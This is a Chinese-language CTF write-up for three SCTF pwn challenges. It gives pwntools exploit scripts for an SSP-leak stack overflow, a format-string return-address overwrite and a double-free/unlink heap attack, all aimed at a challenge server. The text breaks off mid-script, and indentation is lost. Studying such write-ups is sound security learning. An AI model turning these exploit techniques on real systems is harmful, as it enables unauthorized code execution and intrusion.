SCTF
pwn 1
这题是一个 ssp leak的利用。(和pctf的一题类似)。
资料:http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf
from pwn import *
context(log_level="debug")
flag_addr = 0x600DC0
#p = process('./pwn100')
#gdb.attach(pidof(p)[0])
for x in range(100):
p=remote('58.213.63.30',60001)
p.recvuntil('he flag?\n')
p.sendline('a'*504+p64(flag_addr))
p.recvline()
p.recvline()
pwn2
这题是fmt的利用,由于这边fmt不在栈上,所以我采取了爆破的手段。(谁叫鹦鹉只能说两句话。。),同时出题者留下了后门,直接拿来用,改返回地址为后门地址就可以。PS:如果没给后门,也可以爆破鹦鹉让它多说话,那样我们也可以玩出花来。
资料:http://www.cnblogs.com/0xmuhe/p/5013074.html
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug")
#p = process('./pwn200')
elf = ELF('pwn200')
puts_got = elf.got['puts']
strcmp_got = elf.got['strcmp']
system = 0x804A08E
def init():
p.recvuntil('ut your name:\n')
p.sendline('WinterSun')
p.recvuntil('')
p.recvuntil('3.Exit\n')
p.sendline('2')
p.recvuntil('2.Protego\n')
p.sendline('2')
p.recvuntil('2.Protego\n')
p.sendline('2')
p.recvuntil('2.Protego\n')
p.sendline('2')
while True:
p = remote('58.213.63.30',50021)
init()
p.sendline('%%%dc'%(0xcc)+'%4$hhn'+'...')
p.recvuntil('...')
#gdb.attach(pidof(p)[0])
p.sendline('%%%dc'%(system&0xffff)+'%12$hn'+'...')
p.interactive()
#SCTF{FMT_HAVE_FUN_AHHHH}
pwn3
这是一题double free 的利用。
之前没遇到过,参考的资料比较多。
资料:
http://www.cnblogs.com/0xmuhe/p/5190132.html
http://drops.wooyun.org/tips/7326
http://drops.wooyun.org/binary/7958
重点是unlink的操作!
exp 如下。
from pwn import *
context(log_level="debug")
buf = 0x08049D80
elf = ELF('pwn300')
free = elf.got['free']
def setchunk(size):
p.recvuntil('5. Exit\n')
p.sendline('1')
p.recvuntil(' want :')
p.sendline(str(size))
def edit(index,content):
p.recvuntil('5. Exit\n')
p.sendline('3')
p.recvuntil('s num:')
p.sendline(str(index))
p.recvuntil('content:')
p.sendline(content)
def sh